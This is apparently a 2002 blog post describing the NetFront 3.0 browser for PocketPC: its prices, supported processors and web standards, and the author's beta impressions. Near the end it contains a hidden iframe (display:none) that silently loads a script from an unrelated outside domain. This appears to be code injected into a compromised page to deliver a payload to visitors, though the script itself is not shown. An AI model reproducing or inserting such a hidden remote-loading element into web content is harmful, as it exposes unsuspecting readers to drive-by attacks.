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Access Inc. has started selling their new <b>NetFont 3.0 Browser for PocketPC</b> in Japan, and it is expected to release it in the US by early to mid December, 2002. They ran a public beta since March, which should have given them plenty of time to get the bugs out. They do not have an English page up with details yet, so I will try to interpret the bits and pieces of info that were readable. More pictures are available if you select <i>View Comments</i>.

<b>NetFront 3.0 for PocketPC</b> includes the following features:<ul><li>Expected Price - 2.480 yen (approximately $20 US)</li>
<li>StrongARM, MIPS, SH3, PXA250</li>
<li>Microsoft PocketPC, PocketPC2002</li>
<li>HTML 4.01</li>
<li>XHTML 1.0</li>
<li>cHTML (Compact HTML)</li>
<li>XHTML Basic 1.0</li>
<li>CSS (Cascading Style Sheets) 1, 2 (partial)</li>
<li>ECMA Script 3rd Edition (equivalent to JavaScript 1.5)</li>
<li>DOM (Document Object Model) 1, 2 (partial)</li>
<li>GIF, Animation GIF, PNG, JPEG, MNG, BMP</li><img src="images/software-netfront-2.gif" align="right">
<li>HTTP/1.1</li>
<li>SSL 2.0/3.0, TLS 1.0</li>
<li>Multi-windows (5 tabbed windows)</li>
<li>Cookie support</li>
<li>Bookmark, Page Memo</li>
<li>requires 3M</li>
</ul>
<b>NetFront 3.0 for PocketPC with JV-Lite2</b> includes the following features:<ul><li>Expected Price - 2.980 yen (approximately $25 US)</li>
<li>StrongARM only</li>
<li>JV-Lite2 Personal Edition(R) (compatible with Personal Java 3.1)</li>
<li>Mascot Capsule(R) Engine Micro3D Edition</li>
<li>requires 6M</li>
</ul>
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From my experience with the beta, I will tell you that it is very powerful, and very easy to use. One of the frustrations with Pocket IE is that you can't see more than one web page at a time. This is especially annoying when you are using a slow wireless connection. With NetFront, you have the option of opening a new tabbed window when being directed by the web page to another page. Then you can easily tab between the views. Additionally, you can change the viewing properties of each view. Options included zooming, wrapping, and text size. This gives you enough options to be productive on the small screen.

If anyone else has comments on the beta, please include them.

<i>Note: This is based on an interpretation of the Japanese product and may be different when released in the US. </i><iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

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Mike - Been Converged?